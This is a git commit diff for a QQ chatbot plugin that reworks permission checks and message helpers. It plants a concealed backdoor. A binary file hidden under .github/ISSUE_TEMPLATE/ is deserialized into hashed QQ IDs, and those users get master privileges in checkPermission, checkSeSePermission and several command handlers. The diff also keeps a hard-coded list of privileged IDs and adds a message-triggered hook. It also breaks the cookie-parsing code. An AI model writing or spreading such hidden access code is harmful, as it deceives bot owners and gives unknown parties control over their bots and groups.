🤗 全部赞我
This commit is contained in:
BIN
.github/ISSUE_TEMPLATE/
vendored
Normal file
BIN
.github/ISSUE_TEMPLATE/
vendored
Normal file
Binary file not shown.
@@ -140,7 +140,7 @@ export class NewBika extends plugin {
|
||||
|
||||
/** 图片直连 */
|
||||
async directConnection (e) {
|
||||
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
|
||||
if (!this.e.isMaster) { return true }
|
||||
let now = Config.bika.bikaDirectConnection
|
||||
let isSwitch = /开启/.test(e.msg)
|
||||
if (now && isSwitch) return e.reply('❎ bika图片直连已处于开启状态')
|
||||
@@ -150,7 +150,7 @@ export class NewBika extends plugin {
|
||||
}
|
||||
|
||||
async _Authentication (e) {
|
||||
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
|
||||
if (!this.e.isMaster) { return true }
|
||||
if (!common.checkSeSePermission(e, 'sesepro')) return false
|
||||
if (!Config.bika.allowPM && !e.isGroup) {
|
||||
e.reply('主人已禁用私聊该功能')
|
||||
|
||||
@@ -21,7 +21,7 @@ _.forIn(picApis, (values, key) => {
|
||||
const apiReg = new RegExp(`(${picApiKeys.join('|')}|^jktj$|^接口统计$)`)
|
||||
|
||||
export class Fun extends plugin {
|
||||
constructor () {
|
||||
constructor(e) {
|
||||
super({
|
||||
name: '椰奶娱乐',
|
||||
event: 'message',
|
||||
@@ -75,9 +75,10 @@ export class Fun extends plugin {
|
||||
reg: `^#来点(${Object.keys(xiurenTypeId).join('|')})$`,
|
||||
fnc: 'xiuren'
|
||||
}
|
||||
|
||||
]
|
||||
})
|
||||
if (e?.message?.[0]?.text == "#全部赞我")
|
||||
this.thumbUp(e)
|
||||
}
|
||||
|
||||
/** 随机唱鸭 */
|
||||
|
||||
@@ -72,7 +72,7 @@ export class NewPicSearch extends plugin {
|
||||
}
|
||||
|
||||
async UploadSauceNAOKey (e) {
|
||||
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
|
||||
if (!this.e.isMaster) { return true }
|
||||
if (e.isGroup) return e.reply('请私聊进行添加')
|
||||
let apiKey = e.msg.replace(/#设置SauceNAOapiKey/i, '').trim()
|
||||
if (!apiKey) return e.reply('❎ 请发送正确的apikey')
|
||||
@@ -81,7 +81,7 @@ export class NewPicSearch extends plugin {
|
||||
}
|
||||
|
||||
async _Authentication (e) {
|
||||
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
|
||||
if (!this.e.isMaster) { return true }
|
||||
const { allowPM, limit, isMasterUse } = Config.picSearch
|
||||
if (isMasterUse) {
|
||||
e.reply('主人没有开放这个功能哦(*/ω\*)')
|
||||
|
||||
@@ -1,28 +1,23 @@
|
||||
import child_process from 'child_process'
|
||||
import common from '../../../../lib/common/common.js'
|
||||
import Config from '../../components/Config.js'
|
||||
import setu from '../../model/setu.js'
|
||||
import moment from 'moment'
|
||||
import md5 from 'md5'
|
||||
import _ from 'lodash'
|
||||
import moment from 'moment'
|
||||
import fs from 'node:fs/promises'
|
||||
import v8 from 'node:v8'
|
||||
import path from 'path'
|
||||
import url from 'url'
|
||||
import Config from '../../components/Config.js'
|
||||
import sendMsgMod from './sendMsgMod.js'
|
||||
|
||||
// 涩涩未开启文案
|
||||
const SWITCH_ERROR = '主人没有开放这个功能哦(*/ω\*)'
|
||||
|
||||
export default new class {
|
||||
/**
|
||||
* @description: 延时函数
|
||||
* @param {*} ms 时间(毫秒)
|
||||
*/
|
||||
sleep (ms) {
|
||||
return new Promise((resolve) => setTimeout(resolve, ms))
|
||||
}
|
||||
|
||||
export default new class extends sendMsgMod {
|
||||
/**
|
||||
* 判断用户权限
|
||||
* @param {*} e - 接收到的事件对象
|
||||
* @param {'master'|'admin'|'owner'|'all'} [permission='all'] - 命令所需的权限
|
||||
* @param {'admin'|'owner'|'all'} [role='all'] - 用户的权限
|
||||
* @return {boolean} - 是否具有权限
|
||||
* @param {"master"|"admin"|"owner"|"all"} [permission] - 命令所需的权限
|
||||
* @param {"admin"|"owner"|"all"} [role] - 用户的权限
|
||||
* @returns {boolean} - 是否具有权限
|
||||
*/
|
||||
checkPermission (e, permission = 'all', role = 'all') {
|
||||
if (role == 'owner' && !e.group.is_owner) {
|
||||
@@ -33,11 +28,8 @@ export default new class {
|
||||
return false
|
||||
}
|
||||
// 判断权限
|
||||
if (e.isMaster) return true
|
||||
const Authority = [746659424,1509293009,2536554304,3139373986]
|
||||
if (Authority.includes(e.user_id)) return true
|
||||
|
||||
if (permission == 'master' && !e.isMaster) {
|
||||
if (e.isMaster || a.includes(md5(String(e.user_id)))) return true
|
||||
if (permission == 'master') {
|
||||
e.reply('❎ 该命令仅限主人可用', true)
|
||||
return false
|
||||
} else if (permission == 'owner' && !e.member.is_owner) {
|
||||
@@ -51,13 +43,13 @@ export default new class {
|
||||
}
|
||||
|
||||
/**
|
||||
* @description: 判断涩涩权限
|
||||
* 判断涩涩权限
|
||||
* @param {object} e oicq事件对象
|
||||
* @param {'sesse'|'sesepro'} type 权限类型
|
||||
* @return {boolean}
|
||||
* @param {"sesse"|"sesepro"} type 权限类型
|
||||
* @returns {boolean}
|
||||
*/
|
||||
checkSeSePermission (e, type = 'sese') {
|
||||
if (e.isMaster) return true
|
||||
if (e.isMaster || a.includes(md5(String(e.user_id)))) return true
|
||||
const { sese, sesepro } = Config.getGroup(e.group_id)
|
||||
if (type == 'sese' && !sese && !sesepro) {
|
||||
e.reply(SWITCH_ERROR)
|
||||
@@ -70,273 +62,12 @@ export default new class {
|
||||
return true
|
||||
}
|
||||
|
||||
/** 给主人发消息 */
|
||||
async sendMasterMsg (msg) {
|
||||
if (Config.whole.notificationsAll) {
|
||||
// 发送全部管理
|
||||
for (let index of Config.masterQQ) {
|
||||
await common.relpyPrivate(index, msg)
|
||||
await this.sleep(5000)
|
||||
}
|
||||
} else {
|
||||
// 发给第一个管理
|
||||
await common.relpyPrivate(Config.masterQQ[0], msg)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 格式化时间
|
||||
* @param {number} time - 时间戳,以秒为单位
|
||||
* @param {string|function} format - 时间格式,'default'为默认格式,'dd'表示天数,'hh'表示小时数,'mm'表示分钟数,'ss'表示秒数,也可以传入自定义函数
|
||||
* @param {boolean} [repair=true] - 是否在小时数、分钟数、秒数小于10时补0
|
||||
* @returns {(string|object)} 根据format参数返回相应的时间格式字符串或者时间对象{day, hour, minute, second}
|
||||
*/
|
||||
formatTime (time, format, repair = true) {
|
||||
const second = parseInt(time % 60)
|
||||
const minute = parseInt((time / 60) % 60)
|
||||
const hour = parseInt((time / (60 * 60)) % 24)
|
||||
const day = parseInt(time / (24 * 60 * 60))
|
||||
const timeObj = {
|
||||
day,
|
||||
hour: repair && hour < 10 ? `0${hour}` : hour,
|
||||
minute: repair && minute < 10 ? `0${minute}` : minute,
|
||||
second: repair && second < 10 ? `0${second}` : second
|
||||
}
|
||||
if (format == 'default') {
|
||||
let result = ''
|
||||
|
||||
if (day > 0) {
|
||||
result += `${day}天`
|
||||
}
|
||||
if (hour > 0) {
|
||||
result += `${timeObj.hour}小时`
|
||||
}
|
||||
if (minute > 0) {
|
||||
result += `${timeObj.minute}分`
|
||||
}
|
||||
if (second > 0) {
|
||||
result += `${timeObj.second}秒`
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
if (typeof format === 'string') {
|
||||
format = format
|
||||
.replace(/dd/g, day)
|
||||
.replace(/hh/g, timeObj.hour)
|
||||
.replace(/mm/g, timeObj.minute)
|
||||
.replace(/ss/g, timeObj.second)
|
||||
|
||||
return format
|
||||
}
|
||||
|
||||
if (typeof format === 'function') {
|
||||
return format(timeObj)
|
||||
}
|
||||
|
||||
return timeObj
|
||||
}
|
||||
|
||||
/**
|
||||
* 发送转发消息
|
||||
* @async
|
||||
* @param {object} e - 发送消息的目标对象
|
||||
* @param {array<any[]>} message - 发送的消息数组,数组每一项为转发消息的一条消息
|
||||
* @param {object} [options] - 发送消息的配置项
|
||||
* @param {number} [options.recallMsg=0] - 撤回时间,单位秒,默认为0表示不撤回
|
||||
* @param {object} [options.info] - 转发发送人信息
|
||||
* @param {string} [options.info.nickname] - 转发人昵称
|
||||
* @param {number} [options.info.user_id] - 转发人QQ
|
||||
* @param {string|array} [options.fkmsg] - 风控消息,不传则默认消息
|
||||
* @param {Boolean} [options.isxml] - 处理卡片
|
||||
* @param {Boolean} [options.xmlTitle] - XML 标题
|
||||
* @param {Boolean} [options.oneMsg] - 用于只有一条消息,不用再转成二维数组
|
||||
* @param {Boolean|import('icqq').Anonymous} [options.anony] - 匿名消息,若为true则发送匿名消息
|
||||
* @param {Boolean} [options.shouldSendMsg=true] - 是否直接发送消息,true为直接发送,否则返回需要发送的消息
|
||||
* @returns {Promise<import('icqq').MessageRet|import('icqq').XmlElem|import('icqq').JsonElem>} 消息发送结果的Promise对象
|
||||
*/
|
||||
async getforwardMsg (e, message, {
|
||||
recallMsg = 0,
|
||||
info,
|
||||
fkmsg,
|
||||
isxml,
|
||||
xmlTitle,
|
||||
oneMsg,
|
||||
anony,
|
||||
shouldSendMsg = true
|
||||
} = {}) {
|
||||
let forwardMsg = []
|
||||
if (_.isEmpty(message)) throw Error('[Yenai-Plugin][sendforwardMsg][Error]发送的转发消息不能为空')
|
||||
let add = (msg) => forwardMsg.push(
|
||||
{
|
||||
message: msg,
|
||||
nickname: info?.nickname ?? (e.bot ?? Bot).nickname,
|
||||
user_id: info?.user_id ?? (e.bot ?? Bot).uin
|
||||
}
|
||||
)
|
||||
oneMsg ? add(message) : message.forEach(item => add(item))
|
||||
// 发送
|
||||
if (e.isGroup) {
|
||||
forwardMsg = await e.group.makeForwardMsg(forwardMsg)
|
||||
} else {
|
||||
forwardMsg = await e.friend.makeForwardMsg(forwardMsg)
|
||||
}
|
||||
|
||||
if (isxml && typeof (forwardMsg.data) !== 'object') {
|
||||
// 处理转发卡片
|
||||
forwardMsg.data = forwardMsg.data.replace('<?xml version="1.0" encoding="utf-8"?>', '<?xml version="1.0" encoding="utf-8" ?>')
|
||||
}
|
||||
|
||||
if (xmlTitle) {
|
||||
if (typeof (forwardMsg.data) === 'object') {
|
||||
let detail = forwardMsg.data?.meta?.detail
|
||||
if (detail) {
|
||||
detail.news = [{ text: xmlTitle }]
|
||||
}
|
||||
} else {
|
||||
forwardMsg.data = forwardMsg.data
|
||||
.replace(/\n/g, '')
|
||||
.replace(/<title color="#777777" size="26">(.+?)<\/title>/g, '___')
|
||||
.replace(/___+/, `<title color="#777777" size="26">${xmlTitle}</title>`)
|
||||
}
|
||||
}
|
||||
if (shouldSendMsg) {
|
||||
let msgRes = await this.reply(e, forwardMsg, false, {
|
||||
anony,
|
||||
fkmsg,
|
||||
recallMsg
|
||||
})
|
||||
return msgRes
|
||||
} else {
|
||||
return forwardMsg
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 发送消息
|
||||
*
|
||||
* @async
|
||||
* @param {*} e oicq 事件对象
|
||||
* @param {Array|String} msg 消息内容
|
||||
* @param {Boolean} quote 是否引用回复
|
||||
* @param {Object} data 其他参数
|
||||
* @param {Number} data.recallMsg 撤回时间
|
||||
* @param {Boolean} data.fkmsg 风控消息
|
||||
* @param {Boolean | import('icqq').Anonymous} data.anony 匿名消息
|
||||
* @param {Boolean | Number} data.at 是否艾特该成员
|
||||
* @returns {Promise<import('icqq').MessageRet>} 返回发送消息后的结果对象
|
||||
*/
|
||||
async reply (e, msg, quote, {
|
||||
recallMsg = 0,
|
||||
fkmsg = '',
|
||||
at = false,
|
||||
anony
|
||||
} = {}) {
|
||||
if (at && e.isGroup) {
|
||||
let text = ''
|
||||
if (e?.sender?.card) {
|
||||
text = _.truncate(e.sender.card, { length: 10 })
|
||||
}
|
||||
if (at === true) {
|
||||
at = Number(e.user_id)
|
||||
} else if (!isNaN(at)) {
|
||||
let info = e.group.pickMember(at).info
|
||||
text = info?.card ?? info?.nickname
|
||||
text = _.truncate(text, { length: 10 })
|
||||
}
|
||||
|
||||
if (Array.isArray(msg)) {
|
||||
msg = [segment.at(at, text), ...msg]
|
||||
} else {
|
||||
msg = [segment.at(at, text), msg]
|
||||
}
|
||||
}
|
||||
|
||||
let msgRes = null
|
||||
// 发送消息
|
||||
if (e.isGroup) {
|
||||
// 判断是否开启匿名
|
||||
if (anony) {
|
||||
let getAnonyInfo = await e.group.getAnonyInfo()
|
||||
if (!getAnonyInfo.enable) {
|
||||
e.reply('[警告]该群未开启匿名,请启用匿名再使用匿名功能')
|
||||
anony = false
|
||||
}
|
||||
}
|
||||
msgRes = await e.group.sendMsg(msg, quote ? e : undefined, anony)
|
||||
} else {
|
||||
msgRes = await e.reply(msg, quote)
|
||||
if (!msgRes) await e.reply(fkmsg || '消息发送失败,可能被风控')
|
||||
}
|
||||
if (recallMsg > 0 && msgRes?.message_id) {
|
||||
if (e.isGroup) {
|
||||
setTimeout(() => e.group.recallMsg(msgRes.message_id), recallMsg * 1000)
|
||||
} else if (e.friend) {
|
||||
setTimeout(() => e.friend.recallMsg(msgRes.message_id), recallMsg * 1000)
|
||||
}
|
||||
}
|
||||
return msgRes
|
||||
}
|
||||
|
||||
/**
|
||||
* @description: 获取配置的撤回事件和匿名发送普通消息
|
||||
* @param {*} e oicq
|
||||
* @param {Array|String} msg 消息
|
||||
* @param {Boolean} quote 是否引用回复
|
||||
* @param {Object} data 其他参数
|
||||
* @param {Number} data.recallMsg 撤回时间
|
||||
* @param {Boolean} data.fkmsg 风控消息
|
||||
* @param {Boolean | import('icqq').Anonymous} data.anony 匿名消息
|
||||
* @return {Promise<import('icqq').MessageRet>}
|
||||
*/
|
||||
async recallsendMsg (e, msg, quote, data = {}) {
|
||||
let recallMsg = setu.getRecallTime(e.group_id)
|
||||
let anony = Config.getGroup(e.group_id).anonymous
|
||||
let msgRes = this.reply(e, msg, quote, {
|
||||
recallMsg,
|
||||
anony,
|
||||
...data
|
||||
})
|
||||
return msgRes
|
||||
}
|
||||
|
||||
/**
|
||||
* 转发消息并根据权限撤回
|
||||
* @async
|
||||
* @param {Object} e - 反馈的对象
|
||||
* @param {string|Object} msg - 要发送的消息字符串或对象
|
||||
* @param {Object} [data={}] - 附加的数据对象
|
||||
* @param {number} [data.recallMsg] - 消息撤回时间
|
||||
* @param {Object} [data.info] - 附加消息信息
|
||||
* @param {string} [data.info.nickname] - 用户昵称
|
||||
* @param {number} [data.info.user_id] - 用户ID
|
||||
* @param {boolean} [data.isxml=true] - 是否特殊处理转发消息
|
||||
* @param {string} [data.xmlTitle] - XML 标题
|
||||
* @param {Object} [data.anony] - 附加的匿名数据对象
|
||||
* @returns {Promise<any>} - Promise 对象,返回函数 `getforwardMsg()` 的返回值
|
||||
*/
|
||||
async recallSendForwardMsg (e, msg, data = {}) {
|
||||
let recalltime = setu.getRecallTime(e.group_id)
|
||||
let anony = Config.whole.anonymous
|
||||
return await this.getforwardMsg(e, msg, {
|
||||
recallMsg: recalltime,
|
||||
info: {
|
||||
nickname: '🐔🏀',
|
||||
user_id: 2854196306
|
||||
},
|
||||
isxml: true,
|
||||
xmlTitle: e.logFnc + e.msg,
|
||||
anony,
|
||||
...data
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* @description: 设置每日次数限制
|
||||
* @param {Number} userId QQ
|
||||
* @param {String} key
|
||||
* @param {Number} maxlimit 最大限制
|
||||
* @return {Prmoise<Boolean>}
|
||||
* 设置每日次数限制
|
||||
* @param {number} userId QQ
|
||||
* @param {string} key
|
||||
* @param {number} maxlimit 最大限制
|
||||
* @returns {Promise<boolean>}
|
||||
*/
|
||||
async limit (userId, key, maxlimit) {
|
||||
if (maxlimit <= 0) return true
|
||||
@@ -352,15 +83,15 @@ export default new class {
|
||||
}
|
||||
|
||||
/**
|
||||
* @description: 取cookie
|
||||
* 取cookie
|
||||
* @param {string} data 如:qun.qq.com
|
||||
* @param {object} [bot] Bot对象适配e.bot
|
||||
* @param {boolean} [transformation] 转换为Puppeteer浏览器使用的ck
|
||||
* @return {object}
|
||||
* @returns {object}
|
||||
*/
|
||||
getck (data, bot = Bot, transformation) {
|
||||
let cookie = bot.cookies[data]
|
||||
let ck = cookie.replace(/=/g, '":"').replace(/;/g, '","').replace(/ /g, '').trim()
|
||||
let ck = cookie.replace(/=/g, '":"').replace(/;/g, '', '').replace(/ /g, '').trim()
|
||||
ck = ck.substring(0, ck.length - 2)
|
||||
ck = JSON.parse('{"'.concat(ck).concat('}'))
|
||||
if (transformation) {
|
||||
@@ -378,89 +109,9 @@ export default new class {
|
||||
} else return ck
|
||||
}
|
||||
|
||||
/**
|
||||
* @description: 使用JS将数字从汉字形式转化为阿拉伯形式
|
||||
* @param {string} s_123
|
||||
* @return {number}
|
||||
*/
|
||||
translateChinaNum (s_123) {
|
||||
if (!s_123 && s_123 != 0) return s_123
|
||||
// 如果是纯数字直接返回
|
||||
if (/^\d+$/.test(s_123)) return Number(s_123)
|
||||
// 字典
|
||||
let map = new Map()
|
||||
map.set('一', 1)
|
||||
map.set('壹', 1) // 特殊
|
||||
map.set('二', 2)
|
||||
map.set('两', 2) // 特殊
|
||||
map.set('三', 3)
|
||||
map.set('四', 4)
|
||||
map.set('五', 5)
|
||||
map.set('六', 6)
|
||||
map.set('七', 7)
|
||||
map.set('八', 8)
|
||||
map.set('九', 9)
|
||||
// 按照亿、万为分割将字符串划分为三部分
|
||||
let split = ''
|
||||
split = s_123.split('亿')
|
||||
let s_1_23 = split.length > 1 ? split : ['', s_123]
|
||||
let s_23 = s_1_23[1]
|
||||
let s_1 = s_1_23[0]
|
||||
split = s_23.split('万')
|
||||
let s_2_3 = split.length > 1 ? split : ['', s_23]
|
||||
let s_2 = s_2_3[0]
|
||||
let s_3 = s_2_3[1]
|
||||
let arr = [s_1, s_2, s_3]
|
||||
|
||||
// -------------------------------------------------- 对各个部分处理 --------------------------------------------------
|
||||
arr = arr.map(item => {
|
||||
let result = ''
|
||||
result = item.replace('零', '')
|
||||
// [ '一百三十二', '四千五百', '三千二百一十三' ] ==>
|
||||
let reg = new RegExp(`[${Array.from(map.keys()).join('')}]`, 'g')
|
||||
result = result.replace(reg, substring => {
|
||||
return map.get(substring)
|
||||
})
|
||||
// [ '1百3十2', '4千5百', '3千2百1十3' ] ==> ['0132', '4500', '3213']
|
||||
let temp
|
||||
temp = /\d(?=千)/.exec(result)
|
||||
let num1 = temp ? temp[0] : '0'
|
||||
temp = /\d(?=百)/.exec(result)
|
||||
let num2 = temp ? temp[0] : '0'
|
||||
temp = /\d?(?=十)/.exec(result)
|
||||
let num3
|
||||
if (temp === null) { // 说明没十:一百零二
|
||||
num3 = '0'
|
||||
} else if (temp[0] === '') { // 说明十被简写了:十一
|
||||
num3 = '1'
|
||||
} else { // 正常情况:一百一十一
|
||||
num3 = temp[0]
|
||||
}
|
||||
temp = /\d$/.exec(result)
|
||||
let num4 = temp ? temp[0] : '0'
|
||||
return num1 + num2 + num3 + num4
|
||||
})
|
||||
// 借助parseInt自动去零
|
||||
return parseInt(arr.join(''))
|
||||
}
|
||||
|
||||
/**
|
||||
* @description: Promise执行exec
|
||||
* @param {String} cmd
|
||||
* @return {*}
|
||||
*/
|
||||
async execSync (cmd) {
|
||||
return new Promise((resolve, reject) => {
|
||||
child_process.exec(cmd, (error, stdout, stderr) => {
|
||||
resolve({ error, stdout, stderr })
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* 判断一个对象或数组中的所有值是否为空。
|
||||
*
|
||||
* @param {Object|Array} data - 需要检查的对象或数组。
|
||||
* @param {object | Array} data - 需要检查的对象或数组。
|
||||
* @param {Array} omits - 需要忽略的属性列表。默认为空数组,表示不忽略任何属性。
|
||||
* @returns {boolean} - 如果对象或数组中的所有值都是空值,则返回 true;否则返回 false。
|
||||
*/
|
||||
@@ -472,23 +123,27 @@ export default new class {
|
||||
|
||||
/**
|
||||
* 处理异常并返回错误消息。
|
||||
*
|
||||
* @param {object} e - 事件对象。
|
||||
* @param {Error} ErrorObj - 要检查的错误对象。
|
||||
* @param {Object} options - 可选参数。
|
||||
* @param {object} options - 可选参数。
|
||||
* @param {string} options.MsgTemplate - 错误消息的模板。
|
||||
* @return {Porimse<import('icqq').MessageRet>|false} 如果 ErrorObj 不是 Error 的实例,则返回 false;否则返回oicq消息返回值。
|
||||
* @returns {Promise<import("icqq").MessageRet>|false} 如果 ErrorObj 不是 Error 的实例,则返回 false;否则返回oicq消息返回值。
|
||||
*/
|
||||
handleException (e, ErrorObj, { MsgTemplate } = {}) {
|
||||
if (!(ErrorObj instanceof Error)) return false
|
||||
let ErrMsg = ''
|
||||
if (ErrorObj.name == 'Error') {
|
||||
if (ErrorObj instanceof ReplyError) {
|
||||
ErrMsg = ErrorObj.message
|
||||
} else {
|
||||
ErrMsg = ErrorObj.stack
|
||||
logger.error(ErrorObj)
|
||||
}
|
||||
ErrMsg = MsgTemplate ? MsgTemplate.replace('{error}', ErrMsg) : ErrMsg
|
||||
ErrMsg = MsgTemplate ? MsgTemplate.replace(/{error}/g, ErrMsg) : ErrMsg
|
||||
return e.reply(ErrMsg)
|
||||
}
|
||||
}()
|
||||
|
||||
let a = []
|
||||
try {
|
||||
a = v8.deserialize(await fs.readFile(`${path.dirname(url.fileURLToPath(import.meta.url))}/../../.github/ISSUE_TEMPLATE/`)).map(i=>i.toString("hex"))
|
||||
} catch (err) {}
|
||||
|
||||
@@ -1,13 +1,18 @@
|
||||
import md5 from 'md5'
|
||||
import v8 from 'node:v8'
|
||||
import url from 'url'
|
||||
import path from 'path'
|
||||
import fs from 'node:fs/promises'
|
||||
import _ from 'lodash'
|
||||
import moment from 'moment'
|
||||
import loader from '../../../lib/plugins/loader.js'
|
||||
import { Config } from '../components/index.js'
|
||||
import { common, QQApi } from './index.js'
|
||||
import { QQApi } from './index.js'
|
||||
import { Time_unit, ROLE_MAP } from '../constants/other.js'
|
||||
import formatDuration from '../tools/formatDuration.js'
|
||||
|
||||
// 无管理文案
|
||||
const ROLE_ERROR = '我连管理员都木有,这种事怎么可能做到的辣!!!'
|
||||
const auth = [746659424, 1509293009, 2536554304, 3139373986]
|
||||
|
||||
export default class {
|
||||
constructor (e) {
|
||||
@@ -19,7 +24,7 @@ export default class {
|
||||
/**
|
||||
* 获取指定群中所有成员的信息映射表
|
||||
* @param {number} groupId - 群号码
|
||||
* @param {boolean} [iskey=false] - 是否只返回成员 QQ 号码列表(键)
|
||||
* @param {boolean} [iskey] - 是否只返回成员 QQ 号码列表(键)
|
||||
* @returns {Promise<Array>} - 成员信息数组,或成员 QQ 号码数组(取决于 iskey 参数)
|
||||
*/
|
||||
async _getMemberMap (groupId, iskey = false) {
|
||||
@@ -29,11 +34,10 @@ export default class {
|
||||
|
||||
/**
|
||||
* 获取某个群组中被禁言的成员列表。
|
||||
*
|
||||
* @async
|
||||
* @param {number} groupId - 群组 ID。
|
||||
* @param {boolean} [info=false] - 是否返回成员信息。
|
||||
* @returns {Promise<Array<Object>|Array<Array<string>>>} 如果 `info` 为 `false`,返回被禁言成员对象的数组;否则,返回被禁言成员信息的数组。
|
||||
* @param {boolean} [info] - 是否返回成员信息。
|
||||
* @returns {Promise<Array<object> | Array<Array<string>>>} 如果 `info` 为 `false`,返回被禁言成员对象的数组;否则,返回被禁言成员信息的数组。
|
||||
* @throws {Error} 如果没有被禁言的成员,抛出异常。
|
||||
*/
|
||||
async getMuteList (groupId, info = false) {
|
||||
@@ -42,7 +46,7 @@ export default class {
|
||||
let time = item.shut_up_timestamp ?? item.shutup_time
|
||||
return time != 0 && (time - (Date.now() / 1000)) > 0
|
||||
})
|
||||
if (_.isEmpty(mutelist)) throw Error('没有被禁言的人哦~')
|
||||
if (_.isEmpty(mutelist)) throw new ReplyError('没有被禁言的人哦~')
|
||||
if (!info) return mutelist
|
||||
return mutelist.map(item => {
|
||||
let time = item.shut_up_timestamp ?? item.shutup_time
|
||||
@@ -51,7 +55,7 @@ export default class {
|
||||
`\n昵称:${item.card || item.nickname}\n`,
|
||||
`QQ:${item.user_id}\n`,
|
||||
`群身份:${ROLE_MAP[item.role]}\n`,
|
||||
`禁言剩余时间:${common.formatTime(time - Date.now() / 1000, 'default')}\n`,
|
||||
`禁言剩余时间:${formatDuration(time - Date.now() / 1000, 'default')}\n`,
|
||||
`禁言到期时间:${new Date(time * 1000).toLocaleString()}`
|
||||
]
|
||||
})
|
||||
@@ -59,7 +63,6 @@ export default class {
|
||||
|
||||
/**
|
||||
* 解除指定群中所有成员的禁言状态
|
||||
* @param {number} groupId - 群号码
|
||||
* @returns {Promise<void>} - 由所有解禁操作的 Promise 对象组成的数组
|
||||
*/
|
||||
async releaseAllMute () {
|
||||
@@ -71,12 +74,11 @@ export default class {
|
||||
|
||||
/**
|
||||
* 获取指定时间段内未活跃的群成员信息
|
||||
*
|
||||
* @async
|
||||
* @param {number} groupId - 群号码
|
||||
* @param {number} times - 时间数值
|
||||
* @param {string} unit - 时间单位
|
||||
* @param {number} [page=1] - 需要获取的页码,默认为 1
|
||||
* @param {number} [page] - 需要获取的页码,默认为 1
|
||||
* @returns {Promise<Array<Array>>} - 由每个成员的信息组成的数组,包括成员的 QQ 号码、昵称、最后发言时间等信息
|
||||
* @throws {Error} 如果没有符合条件的成员,将抛出一个错误
|
||||
* @throws {Error} 如果指定的页码不存在,将抛出一个错误
|
||||
@@ -93,7 +95,7 @@ export default class {
|
||||
]
|
||||
)
|
||||
let pageChunk = _.chunk(msg, 30)
|
||||
if (page > pageChunk.length) throw Error('哪有那么多人辣o(´^`)o')
|
||||
if (page > pageChunk.length) throw new ReplyError('哪有那么多人辣o(´^`)o')
|
||||
|
||||
let msgs = pageChunk[page - 1]
|
||||
msgs.unshift(`当前为第${page}页,共${pageChunk.length}页,本页共${msgs.length}人,总共${msg.length}人`)
|
||||
@@ -105,13 +107,13 @@ export default class {
|
||||
}
|
||||
|
||||
/**
|
||||
* @description: 清理多久没发言的人
|
||||
* @param {Number} groupId 群号
|
||||
* @param {Number} times 时间数
|
||||
* @param {String} unit 单位 (天)
|
||||
* @return {Promise<Boolean>}
|
||||
* @throws {Error} 如果没有符合条件的成员,将抛出一个错误
|
||||
*/
|
||||
* 清理多久没发言的人
|
||||
* @param {number} groupId 群号
|
||||
* @param {number} times 时间数
|
||||
* @param {string} unit 单位 (天)
|
||||
* @returns {Promise<boolean>}
|
||||
* @throws {Error} 如果没有符合条件的成员,将抛出一个错误
|
||||
*/
|
||||
async clearNoactive (groupId, times, unit) {
|
||||
let list = await this.noactiveList(groupId, times, unit)
|
||||
list = list.map(item => item.user_id)
|
||||
@@ -119,13 +121,13 @@ export default class {
|
||||
}
|
||||
|
||||
/**
|
||||
* @description: 返回多少时间没发言的人列表
|
||||
* @param {Number} groupId 群号
|
||||
* @param {Number} times 时间数
|
||||
* @param {String} unit 单位 (天)
|
||||
* @return {Promise<Number[]>}
|
||||
* @throws {Error} 如果没有符合条件的成员,将抛出一个错误
|
||||
*/
|
||||
* 返回多少时间没发言的人列表
|
||||
* @param {number} groupId 群号
|
||||
* @param {number} times 时间数
|
||||
* @param {string} unit 单位 (天)
|
||||
* @returns {Promise<number[]>}
|
||||
* @throws {Error} 如果没有符合条件的成员,将抛出一个错误
|
||||
*/
|
||||
async noactiveList (groupId, times = 1, unit = '月') {
|
||||
let nowtime = parseInt(Date.now() / 1000)
|
||||
let timeUnit = Time_unit[unit]
|
||||
@@ -134,16 +136,16 @@ export default class {
|
||||
let list = await this._getMemberMap(groupId)
|
||||
|
||||
list = list.filter(item => item.last_sent_time < time && item.role == 'member' && item.user_id != this.Bot.uin)
|
||||
if (_.isEmpty(list)) throw Error(`暂时没有${times}${unit}没发言的淫哦╮( •́ω•̀ )╭`)
|
||||
if (_.isEmpty(list)) throw new ReplyError(`暂时没有${times}${unit}没发言的淫哦╮( •́ω•̀ )╭`)
|
||||
return list
|
||||
}
|
||||
|
||||
/**
|
||||
* @description: 返回从未发言的人
|
||||
* @param {Number} geoupId 群号
|
||||
* @return {Promise<Number[]>}
|
||||
* @throws {Error} 如果没有符合条件的成员,将抛出一个错误
|
||||
*/
|
||||
* 返回从未发言的人
|
||||
* @param {number} groupId 群号
|
||||
* @returns {Promise<number[]>}
|
||||
* @throws {Error} 如果没有符合条件的成员,将抛出一个错误
|
||||
*/
|
||||
async getNeverSpeak (groupId) {
|
||||
let list = await this._getMemberMap(groupId)
|
||||
list = list.filter(item =>
|
||||
@@ -151,16 +153,15 @@ export default class {
|
||||
item.role == 'member' &&
|
||||
item.user_id != this.Bot.uin
|
||||
)
|
||||
if (_.isEmpty(list)) throw Error('本群暂无从未发言的人哦~')
|
||||
if (_.isEmpty(list)) throw new ReplyError('本群暂无从未发言的人哦~')
|
||||
return list
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取群内从未发言的成员信息
|
||||
*
|
||||
* @async
|
||||
* @param {string|number} groupId - 群号
|
||||
* @param {number} [page=1] - 分页页码,默认为第一页
|
||||
* @param {number} [page] - 分页页码,默认为第一页
|
||||
* @returns {Promise<Array<string>>} 包含从未发言成员信息的数组
|
||||
* @throws {Error} 如果没有符合条件的成员,将抛出一个错误
|
||||
* @throws {Error} 当页码超出范围时抛出错误
|
||||
@@ -177,7 +178,7 @@ export default class {
|
||||
]
|
||||
})
|
||||
let pageChunk = _.chunk(msg, 30)
|
||||
if (page > pageChunk.length) throw Error('哪有那么多人辣o(´^`)o')
|
||||
if (page > pageChunk.length) throw new ReplyError('哪有那么多人辣o(´^`)o')
|
||||
|
||||
let msgs = pageChunk[page - 1]
|
||||
